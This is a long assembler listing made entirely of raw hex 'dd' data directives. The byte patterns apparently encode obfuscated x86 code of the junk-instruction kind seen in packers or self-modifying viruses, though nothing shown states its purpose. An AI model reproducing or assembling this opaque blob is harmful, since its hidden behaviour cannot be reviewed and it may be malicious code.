dd 5A0FB65Ah, 1B9195FFh, 820F0603h, 1, 68589F5h, 2906071Ch
dd 321C9BDh, 89006A06h, 309258Dh, 0CD9D8B06h, 6806031Eh
dd 12075401h, 11840Fh, 66600000h, 0E9D60CBFh, 6, 64A6E2BDh
dd 8161467Eh, 54012434h, 6A1206h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 7FC1C5C3h, 0FD977B4Ah
dd 809874E1h, 0F90C8C6h, 0F8Fh, 0BF525000h, 48775B31h
dd 0BB66310Fh, 585A5105h, 95019050h, 6032A49h, 0C36EC381h
dd 0B6A5275h, 1FA1BD8Bh, 858D0603h, 6071BD3h, 50F98B66h
dd 97E9BF66h, 66240489h, 0A6EDC281h, 206195FFh, 0CB8B0603h
dd 1BDDB58Dh, 85890607h, 60302F5h, 14E950h, 37480000h
dd 231C84C7h, 59446B73h, 32E29120h, 38A6AEE9h, 3489058Fh
dd 0E9BD8924h, 50060324h, 0DE9h, 6939EB00h, 2838B969h
dd 0A68CCE9Bh, 489107Eh, 46C98124h, 0FF2BA9F7h, 3297595h
dd 0FFF78A06h, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 0EF4E9D30h, 0BA665924h
dd 0B58B21EDh, 6071C06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 0CBC35747h, 2D4754h, 2021FA29h, 1BFE85C7h
dd 607h, 7E800000h, 840F0020h, 387h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 97C35646h, 0FC6C2893h, 56006A60h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 0BB469F99h, 4B89BB4Bh, 6A20468Dh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A2F3C352h
dd 7FE2ECA5h, 66534FE5h, 892946B9h, 71C0285h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 6C948130h, 0BB236411h, 958B31B7h, 6031335h, 35E9h, 0D18B6000h
dd 1F09B58Bh, 8B610603h, 32AD9BDh, 6A4006h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 65A5B5C3h
dd 5354F50Ch, 388059FCh, 0D2850F00h, 6AFFFFFFh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 0B6D7C355h, 0AE9h, 96BF6600h, 816648EEh, 80F38EF7h
dd 840F5C38h, 74h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 0E3C35242h, 0BB666BE5h, 1B5AADD3h, 2E5958Bh
dd 38800603h, 41840F2Fh, 0BB000000h, 67EA7820h, 1C02853Bh
dd 830F0607h, 0FFFFFFADh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 9C35141h, 0DABF0F98h, 850F5660h, 0
aAAaa@j db '^``a`aaa@j',0
db 52h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 47AEF8ECh, 0E024D817h, 7E9552Ch, 5C000000h, 0C34120E9h
dd 0BD8399C0h, 6071C0Ah, 74840F00h, 1000000h, 32A2DBDh
dd 0B9669006h, 9050BEC1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 0EDC35747h, 0C55174C8h, 5B86E7D5h, 0EEB96697h
dd 55958B5Bh, 23060330h, 32C5DBDh, 0A850306h, 6A06071Ch
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 3C19C357h, 0FA8B177Ah, 0B30000C6h, 81665882h
dd 50E954D1h, 52506052h, 585A310Fh, 5F61F38Bh, 6A240489h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 75D0C353h, 0FE9346Fh, 85000000h, 0BCB0F6E7h
dd 1A59AE92h, 333945E7h, 0B5FFAB20h, 6071BF6h, 0CE951h
dd 0D29E0000h, 0ED8BEE0Fh, 1FED9A46h, 0FF5AE77Dh, 71BFA95h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 66F5B28Eh, 0B999BBAh, 98850FC0h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 8B52C351h, 330959Dh, 58BB6106h, 6060E1BAh
dd 1E8D9589h, 958B0603h, 6031E49h, 0FE85C761h, 106071Bh
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 19D2C351h, 4FBFFD9Dh, 7E90Dh
dd 0B5930000h, 35F25009h, 49E9A0h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 7B5B2AC3h
dd 0B19D89A6h, 6106032Dh, 3055B589h, 0C6810603h, 11Ch
dd 0CCDA8166h, 0FC7CE9CBh, 0F53FFFFh, 58Ah, 0D2816600h
dd 0E85F9880h, 4, 8000h, 331172B9h, 5E8501Ch, 8B000000h
dd 0E47FDBEFh, 38D0Fh, 8B660000h, 448B5AD1h, 60BB0424h
dd 8B242082h, 0B2525000h, 60310F10h, 0FD68B66h, 8Ah, 585A6100h
dd 4244489h, 0E958E2B3h, 10h, 0E8ACA4D3h, 304E84E9h, 13681F32h
dd 3E9D2075h, 0B966006Ah, 0B5FF7E83h, 6071C06h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 5DC35343h, 0DAB92B25h
dd 0B98D8B0Dh, 0FF060308h, 32E1995h, 8800F06h, 56000000h
dd 0CC5BD89h, 8B5F0603h, 71BFE85h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0FA9BB402h
dd 311AE6CBh, 30F49BDh, 52509006h, 67B86660h, 0CE804h
dd 9F3E0000h, 0FF2529D5h, 0F755AC9Fh, 615BE280h, 0BB66310Fh
dd 585A3731h, 0AE850h, 33820000h, 1B747AC3h, 6E639A74h
dd 905FDAB7h, 1C0E858Dh, 8D8B0607h, 603172Dh, 2870F50h
dd 8A000000h, 240489D9h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 9CC35141h, 7EE1A755h, 154FB7B9h, 0CB858D6Fh
dd 6A06071Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 53ECC351h, 318D8D8Bh, 505B0603h
dd 0BE9h, 0EC186900h, 0B222F7E7h, 0EE410557h, 6A240489h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 3CC5C355h, 5A360766h, 50E97CE5h, 0C945C281h
dd 315F5775h, 3327185h, 4595FF06h, 8B060331h, 31E9595h
dd 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0C559C356h, 39FD1F6Dh, 128B0Fh
dd 6E80000h, 9D000000h, 0BA621E55h, 9BD89D4h, 5A060331h
dd 1039BD83h, 75000603h, 1DBD8309h, 60311h, 53501374h
dd 0D0B8C08Bh, 8D000004h, 5AECC9Dh, 5BD3FF06h, 1DBD8358h
dd 60311h, 53501174h, 4D0B8h, 0CB9D8D00h, 0FF0605ADh, 89585BD3h
dd 317A99Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 6D95AAECh, 10E90DEFh, 7C000000h
dd 0FAADDF57h, 4BC67FEDh, 0E408279Dh, 2BDB339Ah, 30359BDh
dd 1C08B06h, 304A59Dh, 6A5806h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 29EBE8C3h, 0C02D0763h
dd 8C20C63h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 95897A22h, 603138Dh, 6AC08Bh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 75115FC3h, 0E1FB36F6h, 8928350Ah, 3238185h, 41858D06h
dd 6A06071Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 0C760C357h, 67755817h, 98589B9h
dd 0E8060313h, 11h, 77DB67E7h, 16C32F69h, 17E59733h, 0EC267866h
dd 29D88155h, 59264939h, 816ADC80h, 6EB4C1h, 0EEB86600h
dd 1F72BFC9h, 0EF816BF9h, 6BF903F5h, 2EF28166h, 0F31FF11h
dd 18Ch, 0E85BF800h, 7, 0A9B39A64h, 0E9F7A934h, 0Ch, 0C233F35Dh
dd 3DFE1F18h, 338BE4D7h, 4CEB8158h, 0F14BDFCh, 0EB81D1BFh
dd 571FE974h, 0C5EB81FCh, 0B06E30D0h, 18F5378h, 30AD8533h
dd 0E9830603h, 14E901h, 0A0B80000h, 1DE3D1C8h, 3515DD7Eh
dd 6C3DC529h, 0C413308h, 49498411h, 83F38B49h, 850F01EFh
dd 0FFFFFF8Dh, 11E8h, 0C1B82600h, 2808CBF4h, 0CC32D78Bh
dd 0FD56CC8Dh, 0E3B8E46Ah, 580C25FEh, 53006A60h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 1C7B9926h, 66629288h, 39DBD89h, 0C08B0603h, 2A198D31h
dd 0BD830603h, 6031039h, 83097500h, 3111DBDh, 19740006h
dd 0C08B5350h, 438B8h, 75858900h, 8D060317h, 5B0919Dh
dd 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 438B8h, 75858900h
dd 8D060317h, 5AD809Dh, 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 9D89E008h
dd 6030321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 99C35141h, 16850F44h, 0E8000000h, 0Ah, 9D269BC0h
dd 0D41F8E14h, 8D0F24B5h, 0
a_lJ db '_‹Àj',0
db 50h, 0E8h, 3
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 4CC1C350h, 0D204B7B8h, 92EE80Dh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0ECDA1EC3h
dd 0F9A27FA9h, 893862A4h, 31CF185h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 562FB6D5h
dd 59B9666Eh, 8DAE8B6h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 0B74ED5C3h, 639771CAh
dd 858995D5h, 60313E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0FAC35545h, 5AF5F210h, 94885E62h, 26C5BD0Bh
dd 0CE80603h, 3C000000h, 56B9AF28h, 91D4CB80h, 8170BB4Eh
dd 148713D7h, 69E85923h, 0F5000008h, 21AD8589h, 6A0603h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0AAB95BC3h, 0E8F51E30h, 83Ch, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 0FEC35040h, 11E999CCh, 0B3000000h
dd 0BAD2EB9Bh, 5FF4B5A4h, 13BC3F92h, 4A9D54A9h, 35BD8B53h
dd 59060302h, 29618589h, 96BE0603h, 0E82A0B13h, 7F0h, 89F7B70Fh
dd 323C585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0BD2B1928h, 0D918ACB4h, 9D8D8B8Eh
dd 0E806031Ch, 7B8h, 7651B966h, 235D8589h, 8B660603h, 0A3D781F7h
dd 0E81762D9h, 7A0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0E8C35747h, 7CDE908Dh, 8BCADE81h, 85896379h
dd 6032221h, 0BE13BE66h, 76BE8h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 3B0B0BBBh
dd 219C496Eh, 6E9h, 4A45EE00h, 89E83DA9h, 321D985h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0DE912h, 45B20000h, 0B6FC9B06h, 3D0352C0h, 0E878B14Ah
dd 704h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 23C35040h, 0CBD181CAh, 520F8823h, 0FE9h, 32617500h
dd 963B13E6h, 6CFD449h, 58BC564Dh, 0F985895Fh, 0F060322h
dd 1387h, 6E96000h, 25000000h, 0FEFD82C7h, 0D5BD8B73h
dd 61060304h, 6A7E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 181FE24Ch, 143D8D89h
dd 85890603h, 60330A9h, 0E8F38B66h, 674h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A2C35343h, 2F8365E2h
dd 0D06E90BDh, 13359D89h, 85890603h, 603324Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 6BC35646h, 0FC08AFB1h
dd 61FE8h, 0A99D8900h, 89060321h, 31A1585h, 0BD895206h
dd 603010Dh, 606E85Eh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0FFF87C3h, 0D80h, 0F7816000h
dd 48AB8393h, 0E6FB87BAh, 85896148h, 60310CDh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A2C35141h, 0ADE8485Eh
dd 6A000005h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 71F5C357h, 76D58A28h, 5D32C9B9h
dd 3185892Eh, 6A06031Ah, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 4FF2C355h, 607B9926h
dd 8D8BF560h, 6030039h, 51E86161h, 66000005h, 89983CBFh
dd 3137585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 0D486A664h, 0F303C862h, 13E899h
dd 1F4C0000h, 0BFBDCCC2h, 9804750Fh, 0D07FA7B3h, 0EBBDE01Bh
dd 258D8B6Ch, 5F06030Bh, 7D7BF66h, 10E860h, 67210000h
dd 0C6EBDFA5h, 862FA62Fh, 0BBD581D3h, 8D0F3671h, 0
dd 0F99D235Ah, 61060303h, 4D7E8h, 71BD8B00h, 8906031Eh
dd 3062585h, 9E806h, 1FD30000h, 0F906C3h, 897DC405h, 32C6D95h
dd 0B05F06h, 0C820Fh, 8E0F0000h, 6, 840Fh, 0B60F0000h
dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 44034B1Ch, 2960E131h, 3233995h, 3035B906h
dd 6BA5AF7h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 916EC353h, 0B745AD00h
dd 2185BD8Bh, 0C38B0603h, 0DE950h, 0F60A0000h, 6D881DDDh
dd 3656A724h, 59530C9Bh, 6A04E8C1h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0D5AAC353h
dd 80326D16h, 0F766C2F1h, 57006AE2h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 7C0E7143h
dd 71C75A48h, 2BFC406Ah, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 7080F5A0h, 895098BFh
dd 6A241Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 415DFDC3h, 0D58D8B96h, 0FF060324h, 311A595h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 449A3725h, 5E9642Eh, 35000000h, 331F6F6h
dd 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 0E37C9C8h, 892D576Ah, 304D595h, 0A9958D06h
dd 6A06030Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 25FAC357h, 6D3ED502h, 89FE8B66h
dd 13E91Ah, 0BD700000h, 6E0BB07Bh, 32FE5A59h, 0BB443D2Dh
dd 628C4AE6h, 4289FC90h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 0BD8941BBh, 603217Dh
dd 958DEB8Ah, 6031A41h, 9F406CBFh, 6A1A8900h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 0DFADC350h, 6870F63h, 89000000h, 30385BDh, 4428906h
dd 0CE8h, 97356300h, 0ABFF9107h, 6DE5AB9h, 0DD8D89AEh
dd 5F06032Dh, 2BD958Dh, 6A0603h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 893983C3h, 52006A1Ah
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0ED030293h, 6F9639EEh, 78C98166h, 72B96686h, 44289FBh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CDC35040h
dd 0B809ED34h, 12C1AE4Ah, 0FBBF0F72h, 2401958Dh, 95890603h
dd 60322DDh, 6A1A89h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 668358C3h, 4289F08Bh, 55006A04h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 2952F609h, 0D4087744h, 1C1D958Dh, 6A0603h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0E9D5DFC3h
dd 614CD86Fh, 0E857D0EBh, 7, 0DE82EED4h, 1EB187Eh, 32F359Dh
dd 1A895E06h, 76C68166h, 442897Fh, 10E883B5h, 85000000h
dd 1B161B2Eh, 8E0801FEh, 0B99AAACBh, 898D4E4Bh, 30B65BDh
dd 958D5F06h, 60321E1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 1C35343h, 0FFE5BFFh, 1381h, 0CE800h
dd 57DB0000h, 6066CF34h, 0EDB9244Fh, 5EF8517Ch, 0FBB70F60h
dd 30AD9D8Bh, 89610603h, 0E0B4601Ah, 4428961h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 93C35141h, 0DBCC130h
dd 11BD8B8Bh, 8D06032Eh, 3255195h, 29DFBF06h, 1A8939F7h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0DFC35141h
dd 7AED373Eh, 0B70F9C7Eh, 44289C8h, 6870Fh, 0B58B0000h
dd 6031BD5h, 1959958Dh, 0BD2B0603h, 6031E59h, 32058D89h
dd 1A890603h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 0EC35747h, 0C0128FAFh, 0B589E71Eh, 6030C91h, 66FBB70Fh
dd 89269BB9h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 45BA7DC3h, 61641FDEh, 3BE5553h
dd 0E944263Eh, 0D5h, 68F0Fh, 95090000h, 60331A5h, 6850Fh
dd 85890000h, 6031AF9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 3F090AC3h, 8003BEADh
dd 6A79D8h, 9FD8589h, 6A0603h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0F4C35242h, 6AF98Ah, 1275B589h
dd 95FF0603h, 6031D59h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 1AC35242h, 4DCF6108h, 6AC38F05h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 0DFABC351h, 71FDA791h, 890F8BA0h, 15h, 10E9h, 68780800h
dd 0FFF415B2h, 3A827294h, 17EDC206h, 29C58ADEh, 325E995h
dd 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 9DA2C356h, 0C14C38h, 0BD83527Dh
dd 6031039h, 83097500h, 3111DBDh, 19740006h, 0C08B5350h
dd 438B8h, 91858900h, 8D060323h, 5B0F89Dh, 5BD3FF06h, 1DBD8358h
dd 60311h, 53501774h, 438B8h, 91858900h, 8D060323h, 5AD999Dh
dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 0F9581BE8h, 6A919A12h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 2350C355h, 0C8A0F07h, 0F000000h, 68Ah, 0F1850100h, 8B060310h
dd 11858DC0h, 66060328h, 5090D98Bh, 0AE9h, 0FA36E700h
dd 4C49BE58h, 90EE2180h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 15C35747h, 0C4B2BB66h, 9D89006Ah, 6031CCDh
dd 9D8B006Ah, 6032E95h, 38F6858Dh, 6A0607h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 47A3DAC3h
dd 89066372h, 3296995h, 5C08306h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 2DC35040h, 0DB81038Dh, 44FD3F60h
dd 8B665090h, 958990DEh, 6032E69h, 880F006Ah, 6, 1AA1BD89h
dd 6A0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 69C35646h, 0A69D586Fh, 0DE92Dh, 7D9E0000h, 0B86509D0h
dd 9C424536h, 66F70DF0h, 0AB32E381h, 0CC995FFh, 6A0603h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 8BBF87C3h, 30225BDh, 6E906h, 55530000h, 7AFCBFF4h, 97478D8Dh
dd 2EBB0606h, 0E8403C4Eh, 0Fh, 0BA9B74FAh, 0C02BA6F3h
dd 6B6E0D71h, 5B164671h, 8166D1FFh, 8A92C9C3h, 91BD83FCh
dd 106031Eh, 0B4850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 1F3BBAC3h, 80BE18FBh
dd 0BD8B2AEBh, 6030F51h, 6A026Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0E8D7D1C3h
dd 7902A16Ah, 948ACF81h, 89507AADh, 6A2404h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2C5908C3h
dd 0CDC7667Ch, 68F0Fh, 0BD890000h, 603021Dh, 10BD8529h
dd 95FF0603h, 6031CB1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 4DC35747h, 95988612h, 0B1E9FB8Bh, 0E800000Ch
dd 0
dd 0ED815Dh, 6A060739h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0CDF8C351h, 68F324B9h
dd 0F248BB66h, 36BF66FCh, 0FE91Ch, 71080000h, 1D935C5h
dd 4B28C851h, 0F7211BEFh, 89858DACh, 80060688h, 50904EEBh
dd 0B1D3BF66h, 25BB6690h, 35FF64ABh, 0
dd 0FA8B6657h, 0B589605Bh, 6031BB5h, 14BB66h, 25896461h
dd 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C3C35545h
dd 0E781FE8Bh, 65CE1D04h, 2A1585FFh, 6A0603h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CBAEF4C3h
dd 8D89968Ah, 6031D11h, 0DA8AFF6Ah, 0B5FFFE8Bh, 6031CF1h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DDC35242h
dd 353130A3h, 201595FFh, 48E90603h, 80000001h, 0FE915F3h
dd 3A000000h, 0F2C55C7Eh, 0B82F18h, 224B3D8Ah, 0B0D3BEh
dd 21C38166h, 8B70E631h, 31C819Dh, 0AE806h, 0B88F0000h
dd 0FE5F70E0h, 0FA92707Dh, 2295BD8Bh, 0E45F0603h, 4D9D8B71h
dd 3C060310h, 0FC830F61h, 8B000000h, 31355BDh, 0C8B60F06h
dd 4D5B27BFh, 6BA14h, 8D290000h, 6030955h, 6060C18Bh, 8D0Fh
dd 61600000h, 0EFC28161h, 61300664h, 0F904E8C1h, 0FE2F766h
dd 1A87h, 11E800h, 5CEA0000h, 4AC343F1h, 86763347h, 93A34624h
dd 0F9E5414h, 2B5FFBBFh, 0ED8D89C8h, 8B06032Dh, 0A19D8BD1h
dd 0E906031Ah, 6, 27DB509h, 858B0603h, 6030FA9h, 0C083F88Bh
dd 29B58907h, 8306030Fh, 11E800C0h, 7D000000h, 0DC4607B6h
dd 22DB54BFh, 8D6829AEh, 9596EF10h, 0B859D8Bh, 3B5F0603h
dd 0D830FD0h, 0B3000000h, 4DE9B5h, 0BD890000h, 6032A45h
dd 31598D8Bh, 14E90603h, 59000000h, 6AE916C9h, 17482FA8h
dd 19BEA893h, 8C968471h, 8308678Eh, 840F01E1h, 1Fh, 0A583F88Ah
dd 6033159h, 986EBFFEh, 95897DCFh, 6030FA9h, 1F41BD8Bh
dd 0E90603h, 8D000000h, 6BEA2B5h, 0E2816006h, 77BB5A01h
dd 1FD5BD8Bh, 0F610603h, 6AFEB7h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 13C35747h, 5DDB8526h, 3953C55Fh
dd 0B995FF41h, 6A06031Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 8529C356h, 148E954h
dd 2485BD8Bh, 7FB90603h, 1000007h, 320FD95h, 0FCE18306h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C35747h
dd 9974702Fh, 0F4B48549h, 9E9FC3Ch, 0F9000000h, 84AE97D6h
dd 875BD615h, 0B8h, 8B666000h, 0AD8D89C1h, 61060329h, 6AD22Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 16F994C3h, 0EECFACD9h, 840F054Bh, 6, 1AA19D8Bh, 0B70F0603h
dd 0C233ADDBh, 0D003E8D1h, 7504E983h, 55BD0BF4h, 66060313h
dd 96A7D381h, 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0EFFC4265h, 0FE92E42h
dd 6C000000h, 8E86F04Fh, 0C802F639h, 4B7C7F23h, 8D8906A3h
dd 60324ADh, 31D1958Bh, 8BFC0603h, 301E18Dh, 9656BF06h
dd 8B501F61h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 3810Fh, 0BF0F0000h, 0E59509FBh, 0F060310h, 281h, 83F88B00h
dd 31D65BDh, 840F0006h, 85h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0F3C35747h, 0DA9E1FF8h, 0BB66DF6Ch
dd 860FCEFEh, 14h, 0F7816660h, 8E951A6h, 4B000000h, 26CAFA38h
dd 61518E6Eh, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 47EBAED4h, 2685D34Ah
dd 1C8D8D57h, 8906034Dh, 3066DB5h, 0E9E1FF06h, 9, 0AAA21600h
dd 5FB7498Bh, 0BDBD837Fh, 60321h, 3E1840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 1389A4C3h, 9D895884h, 60325D9h, 21BDBD83h, 0F010603h
dd 3C984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 1DE6FBFh, 35F01EBBh, 6DBD233Bh, 83060330h
dd 321BDBDh, 860F0306h, 35Ch, 25C59501h, 6A600603h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 6E3AC350h, 0A3DFED5Ah, 6666FD3Ah, 0FA8BD98Ch, 8904E180h
dd 3024D95h, 0FC90A06h, 14D84h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 8D936AA2h
dd 57332619h, 5FDBB70Fh, 13C1858Bh, 6A0603h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0DC6683C3h
dd 0DB8198DFh, 22F7B51Ch, 1C798533h, 890F0603h, 6, 9519D8Bh
dd 0BE80603h, 26000000h, 8E3E682h, 4A396AD0h, 5FFC8D95h
dd 505F5390h, 28F0Fh, 1BB70000h, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0F99DC48h
dd 18Eh, 6AF500h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 91C35646h, 878261E5h, 899D8B00h, 6806030Ch, 0BD189CFh
dd 3481DE8Bh, 0CE8A3024h, 45BD230Bh, 0FF060301h, 3140595h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 101B2003h, 0AFD17C6Dh, 89D98B66h, 6A73485h
dd 3C44BF06h, 94E92B76h, 6A000001h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FD4AC351h
dd 0AC862EF6h, 0A09E05D2h, 1A498589h, 858B0603h, 606A72Ch
dd 1D199D8Bh, 0C70603h, 18h, 0E850006Ah, 3, 58C35820h
